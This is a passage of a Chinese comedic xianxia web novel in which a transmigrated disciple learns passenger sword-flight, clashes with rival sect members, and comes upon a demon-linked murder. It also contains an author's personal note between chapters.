齐舒玉屏住呼吸,只有进气没有出气,眼泪‘唰’地掉下来,他连上云岁鸿的麦,惊魂不定:“云岁鸿,你终于……看不惯我要对我动手了吗?”
云岁鸿双手扶住他的肩头,沉甸甸地压着,情绪超绝稳定:“何意。”
“呜呜呜你他妈重得跟金刚一样还好意思站我剑上!”
身后的低音炮意味不明地笑了声。
气息喷洒在齐舒玉耳朵上,
痒痒的。
齐舒玉抽噎声短暂地停了会儿,忍不住扒拉了一下耳朵,然后继续骂:“妈的就知道笑笑笑,跟村头二傻子有什么区别呜呜呜,救我下去啊你!”
云岁鸿被他骂傻了,胸腔震颤不止:“机会难得,教你御剑载人罢。”
齐舒玉心头五味杂成,眼泪掉也不是,不掉也不是,哽咽道:“这招……一定要在这么危险的时候才能学会吗?”
耳后又是轻轻一声呵笑:“嗯。”
“好吧。”齐舒玉擦擦眼泪,努力控制了一下情绪,带着大哭过后的浓重鼻音:“那你教吧。”
云岁鸿笑意不减,缓缓道:“收心聚神。”
“嗯,然后嘞?”
“与你常日里御剑差别无二。”
“什么没差,我平时御剑是一个人啊。”
“御剑载人亦是如此。”
齐舒玉扭头。
白玉脸上透着烟红,
水润湿亮的眼珠子倒映着半张完美如刀刻的脸。
他吸了吸鼻子。
“你他妈傻逼吧不会教就滚下去!”
**
天色渐黑,除了街头零
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星的客栈店铺挂上了灯笼,整座镇子陷入沉寂。
“回来了?”
还不及前方几人,棠风的低哑已是盘旋入耳。
齐舒玉‘嗯’了声,
不再继续行进。
“我和云岁鸿需要在上面看着,你在地上管好他们几个嗷。”
今天晚上就进入第六章了。
齐舒玉还要自己再想办法活九章,不希望这么快就和银翼天尊正面碰上。
尽管以银翼天尊暗地里偷窥女主的癖好,可能早就掌握了他的情报,但面子工程还是要建设的。
【第五章
……
白日里与棠风的离别使得上官玲珑怅然若失。
她露出一节冰清玉洁的手腕,腕上独一无二的——银掐丝镶紫檀嵌松石手镯,以及,手中价值连城的——和田玉镀金点翠嵌红石坠珠凤凰涅槃纹发钗,无一不扰乱着她的思绪,男子风华绝代的相貌与不凡气度在脑海中挥之不去。
国色天香的少女无意中再度回到白日里与棠风走过的河道边,泪光点点,似是天空繁星,楚楚动人的模样令人心生无限怜爱。
就在此时,一道高大的身影将娇弱的她完完全全笼罩住。
少女惊愕抬头。
来人竟是从未见过的魔族!头顶长着一对威风凛凛又华丽尽显的尖角,那角,不是人类会有的。
她正要惊呼出声,柔软带着香气的娇小身躯就落入了一个强大有力的冰冷怀抱,男人的声音中暗含无尽的危险,几乎要将她拆之入腹:“上官玲珑,本尊耐心有限,你最好乖乖告诉我,那个男人到底是谁!”】
齐舒玉困惑地挠挠头。
上官玲珑的首饰到底叫啥名啊,书翻半年了,每次这名字都进不到脑子里去!
给女主买价值连城装饰品却叫齐舒玉分期还款1950万的棠风嗤笑一声:“任首席之后胆子倒是不小了,连本宗主也敢吩咐。”
齐舒玉趾高气扬地哼了声:“少废话。”
他现在可是欠钱的。
他才是大爷!
“我们现在要去其他地方转转,他们三交给你这个变态死人妖我还是挺放心的,出事也不会怪到我头上哈哈哈……咳咳咳咳该死的当个破剑修天天张嘴喝西北风!”
他御剑调转方向,
稍微催促了一下旁边的云岁鸿。
这哥们的盲人开车绝技齐舒玉算是领悟到了,一路上御起剑来比齐舒玉这个睁着眼的还丝滑,就是不知道怎么教人。
气死了。
这就是传说中那1%的剑人天赋吧!
云岁鸿似乎不太赞同:“夜行还是人多最为妥当。”
“怕什么,这里巡逻的又不只有我们,其他门派不也有人么。”
“非我族类,其心必异。”
“……少给我讲些有的没的破道理我不要听,连个御剑带人这么简单的题都教不明白也好意思教育我!还‘非我族类’,你那脑子就是个异类!谁教你今天把人家一整层楼和东西都给敲掉的,啊?!”
“师弟——”
“师弟什么师弟!我齐家军就没你这个哥!你到底走不走,云岁鸿,超过三里地我要是痛得从剑上掉下去回头就跟白平飞告状我数三声你可要想好了再说,”齐舒玉嘴皮子飞翻一口气不喘:“123说!”
“……”
“没想好是吧那你跟着我,边飞边说。”
臭傻子,
你又没有剧透!
今晚唯独上官玲珑那里才最危险OK?
34. 责罚
“郭瑞?你在这里干嘛?”
齐舒玉降了飞剑,居高临下地俯瞰着聚坐在屋顶上的一群人,今夜月色清凉如水,把郭瑞的黑眼圈照得整张脸全是:“死病痨羊尾男敢比我还会偷懒不去巡逻?”
郭瑞睁眼未来得及发怒,旁边不少人哈哈大笑起来。
齐舒玉粗略扫过,虽是同在屋顶,几个门派弟子之间的位置却都泾渭分明,乍眼看确实穿白居多,但明显跟郭瑞和他室友们身上的衣服不同:“你搞什么,别说你在和这些小门小派的交朋友吧?”
旁边人不笑了。
郭瑞笑了。
“齐舒玉,难怪你一个小小筑基,能从元婴化神期的师兄师姐们手中夺得首席,是有真本事的。”
周围狗叫声此起彼伏。
话语中的稀薄灵力不小心把他又大又尖的嗓门传远了些。
郭瑞又脸色不是很好的闭上嘴。
“坤元剑派首席就可以瞧不上别的门派么!既然我们能来论道大会,必然也是有实力的,”有人站起来,远远指着齐舒玉高声道:“你也不过筑基而已,谁知道用了什么手段。”
这哥们完全是照着起点文的炮灰剧本念台词吧!
齐舒玉兴奋地搓搓手,眼里亮起小星星,双手叉腰呲着大白牙狂笑:“哈哈哈哈哈我都有这种手段了劝你还是少惹为妙,也不撒泡尿照照镜子自己是什么东西也敢来招惹小爷!哈哈!”
他收声,
眉心鼻梁皱起,感觉不太对劲地眨了眨眼。
???
不对啊,是这么说的吗?
“诸位道友,师弟年少无知,还请见谅。”
在月光被浅浅遮掩时,
高空夜色中显现一道高大剪影乘剑而来。
风起云涌,那道暗影的长发与衣袍翻飞震荡,众人耳边低吟犹如天降,乱哄哄的犬吠声亦是戛然而止:“但坤元剑派的首席,必以才力取之。”
乌云散去。
皎色月光重洒大地。
神祇临世。
“——不得妄议。”
……
操!!!!
妈了逼的云岁鸿又他妈来抢风头!
尽说些什么狗嘴里吐不出象牙的话,居然跟别人胡扯首席这个名头是他买来的,靠‘财力’?他在外面欠那么多钱有那个财吗?!
烦死了。
都怪这几年起点文也水的很,害他把主角该说啥忘光了!
刚才还冲齐舒玉没大没小的炮灰脸转眼拘谨起来:“阁下是、是云岁鸿仙长么?”
云岁鸿逼格满满很高手地‘嗯’了声。
这下好了。
场面乱套了。
一群人从房顶上起身跳得比兔子都高,七嘴八舌地求云岁鸿下来指导指导。
云岁鸿应声收剑,不接地气地空降到自发围成圈的众人之中。
蛮好笑的。
大晚上还举办粉丝见面会。
齐舒玉手指咯吱咯吱响,差点要打一套完整的男拳出去:……
就说云岁鸿哪来的自信给他上课,
原来是这群傻逼吹水吹出来的。
他落在目睹全程后依旧坐着的郭瑞旁边:“你也好意思羡慕嫉妒恨???谁让你把他招惹过来装逼的!”
郭瑞斜他一眼,气笑了,声线阴柔地一听就不是什么好东西:“齐舒玉,他是跟着你来的吧。你不去巡视,倒管起闲事来了。”
“黑眼圈里没长眼睛是不是,没看出来我是巡逻到这里的吗?你不带你那几个怂包室友巡逻,在这里守月亮干嘛,”齐舒玉斜嘴嗤笑一声,很邪魅狂狷地将郭瑞从上至下,再从下至上轻蔑了一遍:“舔狗我见多了我自己就是呜呜呜妈的说岔了天狗还是头一回见!”
死破嘴!!
总是影响发挥!
他捏紧拳头恨恨跺脚:“喂!羊尾男你刚刚没听到我自己骂自己舔狗吧?”
郭瑞闭上眼,手势重新缓缓交迭,调整呼吸:“弟子无意知晓首席是哪条狗。”
“舔狗说的不是狗,”齐舒玉蹲下来,从他一对乌黑的眼圈里找到眼皮,提起来翻开,生气道:“是没有尊严只会跪着讨好女人的男人,是人!懂不!天狗才是真的狗。所以是我在骂你是条狗,听懂没啊你?”
想了想。
齐舒玉很小心眼地警告他:“这两个词我都用过了,你不许再用!”
“齐舒玉!”
“扑哧——”
怒骂和笑声同时响起。
被强制开机暴跳起身的郭瑞怒意被打断,偏头一看,憋气道:“齐道友意图火上添油?“
齐舒玉也顺着看去。
有个男的正翘着二郎腿大大咧咧就躺在那里。
见他目光打量,
不慌不忙地挑了挑眉。
刚才竟然没注意到?
齐舒玉心里一跳,
手一下子摸上剑柄。
“齐书玉?”那人枕着手朝他笑,嘴里自顾自念叨了一遍:“书中自有颜如玉?”
“不是,是舒化奶、呃……嗯……打得你心服口服的舒,”男人身上的白色弟子服有图案在月下发光,不知道添加过什么材料,看起来有点钱的样子,所以齐舒玉客客气气道:“不清楚的话就问点别的,我都不会组词了。”
他眼珠子一错不错地落在波光粼粼的缎面上:“你们弟子服是不是很贵?”
“哈哈哈哈哈哈哈,”有钱男吃错药了大笑出声,慢悠悠站起来,残影掠过郭瑞,忽地出现在齐舒玉面前,腰间坠着通体透明的玉质长笛:“贵——当然贵,我身上这件足以价值万金,送你如何?”
万金?!!!
齐舒玉瞪大眼。
胆小鬼!
快点鼓起勇气想象啊!!
外面还欠着1950的,都有本事欠了,还没有胆子贪吗?!
算一算,还剩8050金可以留着花!
平均每章花它个894.444444万,到第十四五章的时候他就成为网络文学史上第一个爽死的真炮灰了,照样名垂青史啊!
他疯狂小鸡啄米:“好的呀好的呀,哥你人还挺好。”
好人哥笑得腰都直不起来,立刻开始动手解衣服:“哈哈哈哈哈好——那收了这器服,从今起你就是龙崖谷的弟子,师兄我齐北厉一定好好待你。”
“师弟。”
云岁鸿的低音炮余音还未消去,齐舒玉已经挂在了半空中,一只钢筋铁爪轻轻松松揪着他的后背衣服,在他反应过来挣扎时,脚尖有了着落。
他站在霰月上,往下望。
齐北厉笑容友好地挥了挥手。
齐舒玉压下心头懊恼,敷衍地回了个招呼。
脱个衣服脱这么久。
不想给直说!
空气中有细碎金光落下,云岁鸿声如洪钟:“坤元剑派弟子冲撞齐道友,云某管教不严,代为致歉。”
“云道友言重了,但若说舒玉冲撞我——”
齐北厉勾起唇角哼笑一声,似乎不太懂人情世故,连齐舒玉都听得出来的客套话他也不会接,悠哉悠哉道:“却与他无关,倒是你这黑眼师弟无端端带着一群人来,扰我休憩。”
才不是呢,齐北厉他都懂!
他就是懂王!
“你看吧云岁鸿!我早就跟你说过郭瑞老爱在外面惹麻烦,和常广就是一路货色,你还怪是我背地里讲他们坏话!”齐舒玉挥开身后的
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铁爪,手搭在腰间跃跃欲试:“今天老子就要用这送上门的借口好好收拾收拾他,回去白平飞还不得把大拇哥给我掰烂?”
不过将将往前一步。
斗转星移。
齐舒玉的鼻梁硬生生磕在了冰箱门上。多亏白天在棠风身上把鼻血流光了,不然这会儿肯定又要出糗。
他拍了拍云岁鸿挡在身前的背影:“动作挺快啊你,怪我没说清楚是吧?你放心,打完他后面烂摊子都赖给你收拾,如果从白平飞那里得来好处肯定有你一份,因为剩下九份都是我的。”
“…… ”
他很响亮地扇了自己一巴掌。
“不是不是是一份都不想给……”
哎。
好累啊。
今天这个架是打不上了。
“齐道友信口雌黄!”
郭瑞不知道有什么把柄在齐北厉身上,敢怒不敢骂的样子:“此地集日月精华最适修炼,乌水镇亦非龙崖谷所有,为何不能在此练坐?且我们师兄弟不过六人而已,其余道友到访皆与我们无关,还请齐道友在我们大师兄前还我清白!”
“你那眼圈这么黑能白到哪里去,”齐舒玉钻了半天缝,怎么着都会被云岁鸿的背影挡住,干脆把死沉死沉的金刚臂抬起来,从他腰间拱出来落进下石道:“还吸天地日月精华修炼?灵根不行就不行了,你们怎么也这么迷信啊。”
开朗过头的齐北厉大笑起来,
周围全是他的回音。
齐舒玉挠挠头,也不由跟着潜在老板乐呵呵。
然后,
他就被云岁鸿用有史以来最严厉的口吻叫了遍大名。
“天地化万物,万物滋阴阳,阳变生动,阴而为静,动静相结方生五行。日月之道久系阴阳,谁与你说无用?再者,便是幕天席地,心境开阔亦有助于修炼——今此念你年幼,若来日还听你胡言乱语,必有重罚!”
那振聋发聩的话音刚落,在场众人甚至一个字还未说,空气中已似有雷声滚动。
天地嗡鸣不止,夜色中突然金光万丈,竟生生盖过了月下银辉,条条金光飞速蹿动形成一纹,压了过来。
齐舒玉的脑瓜子,
被按静音了。
浓厚稠密的灵力如山如海,骤然将他全部吞噬。
须臾。
剑上跪坐的青年像是重获新生的濒死之人,手中紧紧拽着一截云白衣袍,急促异常地大大喘了口气。圆润双眸终于恢复少许神采,汗水濡湿的发丝顺服地贴在莹玉面颊,眉眼嫣红,瑰色唇瓣沾染星点血色,润泽艳丽。
“诸位,”空中龙吟近在咫尺:“云某担保,如他再出言不逊,逃到天涯海角也定追责。”
短短半刻钟,
风折断树枝的声音清晰到可怕。
“云道友,”腰间玉笛悬挂的男子在一片静默声中开了口,慢条斯理地系上扣子道:“坤元剑派的责罚手段,重了。”
“就是!!!”终于有人帮腔的齐舒玉气得立刻跳起来,拿袖子狠狠一抹眼泪:“凭什么只罚我啊!我最多乱说点实话而已,这破嘴的锅能怪我头上吗?!郭瑞擅离职守你都不管?!我再也不要和你好了哇哇哇哇哇—唔。”
该死的云岁鸿什么都不让说,还捂嘴!
从今天起粉转黑!
腰间待出鞘的长剑似遇阻碍,拔不出半分,齐舒玉的衣领也被揪住,气鼓鼓地听道:“郭瑞。”
郭瑞同他的室友们都站了出来,
在月色下弯腰作揖。
“弟子知罪,鞭责八十,回山亲领。”
齐舒玉不挣扎了。
爽了。
哈哈哈哈哈哈哈臭郭瑞没想到吧!这把又被老子干成平局了!
35. 新手期最后一天发言
今天心情起伏太大了,现在码不下去字了,出来的文也不方便放了,等晚些时候心情平静下来了再补上吧,现在只想说点其他的(?Д`)
之前说过不会在作话里说写作的心里路程了,但今天的话应该不算吧写作心理吧,所以放在正文里说(哭死,我也太搞笑了吧说这种话)
主要是今天在三次元里实在太太太沮丧了!!!!!
本来昨晚还想着是新手期最后一天,说点高高兴兴的结束语,结果现在一边码字一边掉眼泪靠!!
从小就知道我虽然人蛮聪明的,但一直都干不成什么事,成绩也不好,上学全靠家里砸钱,国内读不下只能出国,现在因为不想上班就花钱做博主,做博主也拿不到钱,还一直在倒贴钱做博主,连写这个小说一开始也想着砸个几千一万的应该也能上个榜吧,只知道花钱。等到今天要正常办点事,发现根本办不到,真的太沮丧了,对方一开口就知道经验很足,以我是说服不了的。
本来不想说,怕影响大家看文心情,但这些字都是早上爬起来码的,现在根本没心情码字了,又不好跟家人朋友讲,因为肯定会被我爸骂,然后朋友就老会说‘不是你的问题呀’巴拉巴拉,都能想到他们说什么了,最后还是没办法,而我又是那种‘我不好过大家就都别好过的人’!!!!比如现在一想到可能有看这段话的姐妹会羡慕我有点小钱,我心里就又有点高兴了哈哈哈哈哈哈哈。今天码不完就明天再放,虽然可能破坏看文心情,但我就是情绪上来了会这个样子,当然,也会保证最后一次在正文里写难过的事情了,顶多以后放wb嘛哈哈哈,现在就是想在这里找点存在感!!!大家都忍忍!!!
好了!!!
我现在写着写着心里舒服了!没想到写东西还真的是我兴趣啊!我果然天赋异禀啊哈哈哈哈。
开心了!!本来发几个正常红包庆祝一下的,现在立刻改决定———这个小说完结前我会忍住不
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花钱了,因为虚拟币红包发起来也怪怪的,没有感觉,今天只往这账户里再冲100rmb,随机发发,之后就等完结了!!!会选择某个月上旬完结它,然后在完结当月的收益拿出来和朕的发妻们分掉(在12/30/2024 19:00 前留言支持过的爱妃们=3= 名字我会这两天有空抄下来拍照放wb! )让大家都不白来奥!都不白来!
我估计现在有点爱上写小说了hhhh,还是头回写就收到夸夸=3=,居然有本事搞满30天!而且好几个人物都是现编的,是真的有种我是上帝然后看着他们在那里自己走剧情,认识新的人,瞎搞八搞的感觉哈哈哈,开心开心!(好神奇的感受,可能这就是天赋吧,kiss kiss)昨天去阿姨家里吃饭,把小说给我妹看了,她不看男男文的,本来还在那里切切切,看完之后立刻帮我把饮料倒满哈哈哈哈!
从现在起,朕要把在三次元里失去的心情从小说里拿回来!!!
36.死人
“首席在胡说什么?!”
结了层冰的寒气被一阵疾风吹进齐舒玉耳朵里,差点冻住了他正在高速运转的大脑,幸好体内灵气周游更快,将寒气逐了出去。
“喂!你居然敢对我这个高贵也不知道撞了什么鬼运气才当上的首席下手?!”
齐舒玉闭着眼睛冲进不知道谁的怀里,绝命超大力死死抱住,大声嚷嚷起来:“没想到还有你这种杀人也不背着点的杀人凶手!”
空旷无人的石街上,路边旧木门上仅挂着两盏在风中摇曳的破旧灯笼,微弱烛光明明暗暗。
血泊中一闪而过的灰白面孔毫无征兆地闯入脑海,瞪大的雾蒙蒙灰色眼珠子几乎从眼眶中掉落,布满红丝,嘴巴空洞而又绝望地大开着。
啊啊啊啊啊啊啊!
操了!!!
如来佛祖老天爷观音大帝玉米娘娘金刚狼韩信李白杜甫钢铁侠拜托拜托保佑!!!
死脑子快忘记快忘记啊啊啊啊啊!!我们是共产主义接班人继承革命先辈的光荣传统——
齐舒玉呼口气。
害。
还没继承到什么光荣传统,
不好意思继续张嘴了。
他松手。
被绝命超大力死死抱住的周长明终于能呼吸了,猛吸一口气,咳得肺都要出来。
齐舒玉摸摸鼻子,不好意思地扶住他:“你刚刚怎么不推开我不会是就喜欢被我抱着吧追星要适度啊你。”
周长明双手撑着膝盖,涨成猪肝的脸色慢慢褪去,鼻涕眼泪横飞:“咳首席咳咳你刚刚灵力暴涨我推咳咳——不开啊咳咳咳——”
“好吧,”齐舒玉尴尬地再次道歉:“对不住啊没想到你比我还能弱成这个鸟样……”
幸好周长明咳得很专心,
没注意到自己偶像说了些有损形象管理的话。
“诶,云岁鸿呢?”
齐舒玉左右环顾:“他不可能聪明到偷偷溜走了吧。”
“云师兄朝那边去了。”
沿着周长明手指的方向,齐舒玉这才注意到身后案发地点上空有人悄咪咪地站着,不解道:“你师兄杀人他怎么帮忙去站岗?”
周长明腿一软,差点跪下,被口水呛到又开始大咳特咳:“别说了首席,咳咳——傅师兄不会做这种事的,求求您别说了咳咳。”
“过来。”
空气中再度轻轻飘来一道寒气。
“是,大师兄。”
周长明拼命把咳嗽声咽了回去,一边走一边痛苦地朝齐舒玉拜了拜,嘴唇大开大合。
接受到信号的齐舒玉心中顿时有股东西在燃烧,手中长剑挥舞,脚下生风,独孤侠客式地转了半个圈,绿莹长剑挡住了周长明去路。
“首席?!”
他给了周长明一个‘放心’的眼神,顺便把不小心贴住周长明脖子的剑峰挪开了些。
“傅绍归!”齐舒玉不知怎么福临心智,大叫时放出了丝丝灵力,惹得周围阵阵犬吠,安全感瞬间爆棚:“你有什么遗言就在那里说千万别过来,我们可都是很好惹的孬种!”
听到四面八方都传来笑声的时候,
齐舒玉默默把剑收了起来。
周长明揽住他肩膀,叹口气:“首席,都说了不会有事,咱们先过去看看吧。”
齐舒玉愁眉苦脸地不肯动:“我不去,好吓人的。”
“……一会儿站我身后?”
“那我很没面子的需要大声求我让别人听到才行。”
“……”周长明鼻息深重,认命地大喊一声:“求求您了首席!站在我身后吧!”
齐舒玉高风亮节地点头,半推半就地成为了胆小鬼粉丝的坚强后盾,磨磨蹭蹭前往命案现场:“真是拿你没办法。”
那边现场似乎已经有人到了,
忽然大乱起来。
“师姐!”
“是白凤苑的人?”
“快快快!快通知师尊!”
“啧啧,死状真是凄惨,内丹都被取了,一看就是魔族干的。”
“霹雳楼的少说点风凉话吧。”
“九星剑宗的你们好一副道貌岸然作派,百年前的论道大会上可不是这嘴脸,对凌霄阁可是落井下石得起劲。”
“什么落井下石!是凌霄阁的罪行罄竹难书,竟与魔族勾结为非作歹,人人得而诛之!”
“嘁,那凌霄阁的事与来论道的弟子何干,那般痛下死手我看是惦记人家的剑法秘籍”
“你!论道大会本就生死不论,是他们技不如人罢了!”
“是他们没想到……”
“好了好了,别吵了!当务之急是查那魔族在不在附近。”
白凤苑的???
齐舒玉耳朵竖超级高,
加快步伐。
第九章论道大会开始前,白凤苑里就有个嫉妒云岁鸿的炮灰就会找上‘齐舒玉’,一眼看穿他会下药的本质,让他帮忙下药。
不过这会儿人多,齐舒玉分不清这些各门各派谁是谁,只能把人群中心白凤苑的衣服仔细记了一下。
周长明恭恭敬敬对着被挤到外面的傅绍归作揖:“大师兄。”
傅绍归手搭腰间剑上,‘笃笃’敲两声,侧目掀起眼皮,冷笑一声:“看来那魔族对金丹颇感兴趣,若非我出来寻你,躺着的便是你了。”
周长明打了个颤,头埋更低:“弟子知错。”
“鞭责二百。”
“……是。”
“有没有搞错啊你闷骚男,你打他200?那鞭子跟加辣椒水一样,80都有够受的了!”齐舒玉像个光辉伟大的男人一样站在周长明身前:“当时就你一个在这里当我半年不上网不会杀人了是吧说不定是你干的呢!”
他这一嗓子,嚎到所有人都看了过来。
傅绍归脸色沉得能滴出水来,森森寒意从他手心中的剑首蔓延到剑鞘,浮出一层雾珠。
“你在胡说什么?”
斜后方一道利声破空而来。
齐舒玉脸色大变,立刻拔出剑来挡,那宛如游走的长蛇一头撞了过来,将他震得手心发麻,手腕一酸,剑立刻飞了出去。
他偷偷在心里瞪了花怒娇一眼,指尖泛起薄薄绿芒,两指并拢一晃,只听长剑嗡地一声没了动静。
没办法,还是要垮下脸狼狈地钻进路边乱七八糟杂物堆里,把卡住的剑拔出来:“我靠母老虎怎么你也是今天值班?!”
“再让我听见你胡言乱语,撕烂你的嘴!”花怒娇收起剑来,身后及时赶到的几人非常有气势地站在她身后,看着就很有电视剧里的大佬风范。
“切。”
头发里扎进两根杂草的齐舒玉不屑地捏紧了自己嘴巴。
“阁下是坤元剑派的弟子么,”一身银色缎袍的四五十岁男人走过来,眼底有几分警惕与探究,略过齐舒玉停在傅绍归脸上:“可否请道友告知,我师姐如何遇害。”
傅绍归冷声道:“那魔族曾布施结界隐匿气息,我亦不知其去向,见她时已是玉损。”
“但据你同门所说……”
“他说什么你便听么,”花怒娇厉声打断他:“仅凭一面之词也能猜忌我们坤元剑派的弟子?除了魔族,还有谁会要这金丹,难不成你疑他是邪修?”
齐舒玉偷瞥了一眼傅绍归。
这只有三十多章的半本小说里,邪修到最后还是传说的存在。
不过齐舒玉打听过,这里的邪修作为反派长得就很邪
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门。
只有突破不了又不甘心死掉的修士才会冒险去夺金丹,而且别人的金丹有很大几率会和自己灵力相冲,轻则骨变重则爆体,即便侥幸吸收也只能维持一段时间,接下去又需要一直夺取,几番波折下来,自然看着就没了人形。
所以一般人也不会去做邪修。
“这位道友一看便知并非邪修,”老男人败给了花怒娇的气势,阴险地甩锅给齐舒玉:“可这位小友所言非虚,当时只他孤身于此。”
傅绍归淡淡道:“清者自清。”
花怒娇没好气地嗤笑一声,
还抽空刀了齐舒玉两眼。
“无凭无据,你再怀疑我们坤元剑派的人也没法,上报吧。”
老男人点了点头,转身冲其他人作揖:“届时还请诸位如实作——”
“——站住!”
空中一道龙吟声如滔天海水四散铺开。
众人惊讶地抬头望去,只见金光大作,一把巨剑疾驰而去,白衣身影紧随其后。
“烦请诸位回去通传,我师兄元婴修为却也如此慎重,怕是那魔族来头不小。”花怒娇唇角紧紧绷着:“我去追。”
她余光瞥见蔫头耷脑的青年骤然精神一振,二话不说直接踩在剑上飞了出去,眼中划过错愕。
齐舒玉比她还错愕。
该死的云岁鸿有没有把他俩的‘三里地之约’放在眼里!
一遇到魔族就发了狠忘了情是吧!
花怒娇追上他:“你回去。”
她话音将落。
‘砰——’
有火光在半空炸开。
深厚的灵力像是原子弹的蘑菇云翻滚着涌了过来。
齐舒玉一惊,
花怒娇已经按住他后颈急速降了下去。
“我说了,你就在这等着。”
齐舒玉不耐烦地挥开她:“你爱说就说呗!我又不要听。”
“齐舒玉,你不知好歹!”
“滚呐母老虎看到你就烦。”
他正要转身再走,却被一道娇滴滴定在原地:“师兄!”
“上官玲珑???”
齐舒玉大为震撼道:“你怎么在这里啊?!”
花怒娇收了音,
冷哼一声。
夜色中薛殷和上官玲珑的脸还是那么清楚地被月色照耀着。
——身后还跟着个黑漆漆的瘦小背景板。
“发生了什么事呀,师兄,”上官玲珑娇娇柔柔道:“好大的动静,我好害怕呀。”
她打了个寒颤,
弱不禁风。
看着就很有保护欲。
“你别怕了,”齐舒玉手执长剑,顿时心中豪情万丈,恨不得上去把她搂怀里:“我还怕呢死人了你知道吗真的差点把我吓死!”
“是云岁鸿追去了么?”亮得能让隔壁大爷连夜起来耕两亩地的电灯泡薛殷插嘴道:“什么人?”
“什么什么哪有那么漂亮……”
齐舒玉眼珠子都沾在上官玲珑脸上,
朦胧月色下她安安静静,跟仙女下凡似的。
啧啧,
要是白天话也这么少就好了。
他忽地眼前一花,
后领被揪着翻了个面。
那张十五岁的违.法.坐.牢脸让心中阵阵荡漾的湖水瞬间变成了死海,他把薛殷的手拨开,晦气地冷静道:“魔族呗不然你以为是什么人?”
“魔族么,”薛殷指尖敲了敲剑柄,思索道:“难怪棠风变了神色。”
“哦对!那人妖去哪里了?”齐舒玉经他提醒,不禁抱怨:“就把你们三个弱鸡留在这里?他也太会撂挑子了吧都没人骂他吗那我下次要找他报个班学学才行。”
37.银翼天尊
“你们——”
花怒娇突然凉凉插声道:“在谈论何人?”
没人理她。
邱姗姗瑟缩了一下:“花师姐,大家谈论的正是合欢宗棠宗主。”
“呵。”
花怒娇莫名笑了声,无边杀气蔓延:“他还敢现身。”
???
什么瓜啊?!
“你俩认识?”
齐舒玉有些不可思议,棠风和云岁鸿认识也就算了,毕竟早晚是同帽中人,怎么他还能和花怒娇有拉拉扯扯的过往,听她口气,估计可以当场活剥了棠风。
这可太想实名投票看了。
“他不会也伤过你那什么所谓的少女心吧,”齐舒玉眉头紧缩,一脸纠结怜悯和难以置信:“看着你这张脸他也下得去手,还真是个恶心的人妖变态,不过你也不赖,这么重口味赛道也要进,果然强中自有强中手。”
‘啪’地一声脆响,
齐舒玉顿感脸上火辣辣地疼。
“你再多嘴试试。”
花怒娇的声音犹如恶鬼,经历女同学指导经历的他识时务地躲到旁边去。
切,
原来是与我无瓜。
小长腿霸王龙又把矛头对准薛殷:“他往哪里去了?”
薛殷冷冷上下扫了她一眼,很酷哥地身子朝侧边偏了偏。
花怒娇杏眼微眯,
眼底寒光划过。
“那你同我一道走。”
她眼疾手快地朝薛殷胸口贴上一张符,薛殷的破烂剑根本没机会全部出鞘。
花怒娇没礼貌地嗤笑:“老实点。”
她揪起薛殷的衣襟,对着齐舒玉指指点点:“你,带着她们回去通传燕问雨,别跟上来,不然我不会放过这小子。”
不放过,
怎么个不放过法?
齐舒玉嘴角的笑容根本压不住:“哈哈哈你不放他也能威胁到我?再说你还能拿他怎么……”
“不要!不要伤害薛哥哥!”
上官玲珑梨花带雨地奔过来,五指张开,平地跌坐在齐舒玉脚边:“我们会乖乖回去的,你不要伤害他!”
齐舒玉:????
冰肌玉骨的含泪少女在夜色下莹莹发光,纤纤玉指抓着玄色衣摆,凄哀婉转地仰着头,模样绝美。
“求求你了师兄,我们快听花师姐的吧。”
花怒娇轻蔑的哼笑声在这种情况下,特别有女.拳的火药味儿。
于是齐舒玉两只手都伸出布掌,抗拒地捂住耳朵,静静聆听他对上官玲珑的仙女滤镜和少男心一起哗啦啦碎成玻璃渣。
臭女人!
还是那么会胳膊肘往外拐!
“快说话呀师兄,你别怕,”上官玲珑魔音穿耳:“呜呜呜只要你说句话,花师姐不会拿你怎么样的!”
“……你能不能少讲点我的台词啊真是服了你了上官玲珑!”
“呜呜呜呜师兄这种时候你还在无理取闹吗?!”
“砰——”
不远处又是一阵巨响。
神仙打斗,凡人遭殃。地上裂出一道道有深有浅的沟壑,几乎让人站立不稳。
“啊——师兄!”
“首席——”
花怒娇和薛殷不知什么时候消失的,留下上官玲珑和邱姗姗不约而同地吓到惊呼出声,一左一右轻轻软软地抱住了他的腰。
齐舒玉:……
怎么回事!
灵力从来没有运转得这么丝滑过!
最近半年都在默默耕耘的肱二头肌也终于一展宏图,他紧紧搂住两只无依无靠的流浪猫咪,长剑‘嗖’地贴上脚底,被灵力牢牢粘合,滑板似的贴地滑了出去。
精铁摩擦地面溅起星星点点火花,发出刺耳的尖叫。
霎时,
长剑腾空。
“师兄——”上官玲珑吃惊地在他怀里眨了眨小鹿眼,低头张望:“你什么时候学会御剑带人啦?”
“哎你太爱撒娇了吧知道御剑危险还忍不住要跟哥聊——”齐舒玉脸色一白,指尖冰凉,跟着往下看了眼夜色中波光粼粼的湖水:“……什么,你说什么御剑带……”
“——救命啊!!!”
“咕咚——”
“扑通——”
上官玲珑惊声尖叫起来,在心率180的刺激蹦极过程中还手忙脚乱地踹了齐舒玉一脚,最后身娇体软地趴在河岸边猫哭耗子道:“呜呜呜呜——师兄!我不是故意的!”
“什么不是故意的!你就是!”齐舒玉恶狠狠地从湖里冒出头来,鼓起腮帮子吐出一口冰冰凉凉的湖水,一手叉腰,一手帅气地手撑在湖边石壁上:“都是你害的,从遇到你那天起就没好事,现在我灵力用光了全是你的错!!!快点拉我上去。”
“哦。”上官玲珑睫毛上缀着泪珠,乖乖应了声,伸长手臂用吃奶的劲去拽他:“……但,嗯——师兄你好沉,以后能不能少吃点呀。”
齐舒玉哪听得了这种话,肺快气炸了:“我这么瘦还被你污蔑?!上官玲珑你等着我的收律师函吧!”
“?师兄要送我什么?”
上官玲珑与他交握的手停住,神情期待地歪了歪头,一只玉钗从她发间掉落,在石板上发出清脆的击打声:“哎呀我的发钗!”
她毫不犹豫地甩开齐舒玉的手,一把按住快落入湖中的发钗,长长松了口气。
“还好没掉下去,”少女捡起发钗,如释重负地拍拍胸口,挽起袖袍,露出手腕上丑到爆炸的木头手镯,在齐舒玉眼前晃了晃:“师兄你看,这就是棠宗主送我的两件首饰,店主说价值连城呢,你也要送我这般的吗?”
“上官玲珑!!!”被她甩回湖里沉沉浮浮的齐舒玉气得快脑溢血:“我送个妈给你要不要!”
他在外面替她承担天价债务,
她还好意思提礼物???
这拜金女是来克他的吧?!!!
“首——咕嘟咕嘟——首席——救我,呜呜我不会——”
齐舒玉闻声回头,
望向湖中心。
在这个深夜里真是两眼一黑又一黑。
